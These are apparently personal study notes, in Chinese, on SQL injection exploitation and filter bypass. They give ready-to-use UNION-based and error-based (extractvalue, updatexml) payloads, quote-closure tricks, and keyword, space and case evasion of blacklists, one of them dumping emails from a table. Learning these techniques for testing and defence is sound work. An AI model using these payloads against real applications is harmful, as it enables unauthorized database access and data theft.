SQL注入筆記05:利用和繞過
1、利用當前頁面排版: 如id=1有資料而id=0無資料,則可構造資訊?id=0 union select 1,2,3,user(),version()#
2、利用報錯資訊: 1.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
2.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
3、利用閉合繞過'、"、)等,不使用註釋符,保持SQL語句完整: 1、GET:select * from user where id>"$id" order by id DESC limit 0,1; ?id=1" union select 1,2,3 where "1"="1 //and "1"="1,and "1也行
2、POST:select * from user where username="$u" and password="$p"; username:可使用盲注,admin and length(user())>1 and "1"="1 // and優先順序比or高 password:因為是最後一個引數,所以方法多多,可union、and、or等
4、繞過limit 0,1: ?id=0 union select user(),version(),3 union select 1,2,3 id=0:為空資料,select 1,2,3:用以繞過limit 0,1,看引數情況select 1,2,3可以為select 1,2,'3、"3、('3、("3等
5、繞過or和and遮蔽: 使用雙寫oorr、aanndd或者&&、||(URL上使用需轉碼%26%26、%7c%7c)
6、繞過空格和註釋遮蔽 URL裡使用%a0代替空格,使用閉合代替註釋 ?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3
7、繞過union和select遮蔽 黑名單:uNion、sElect等等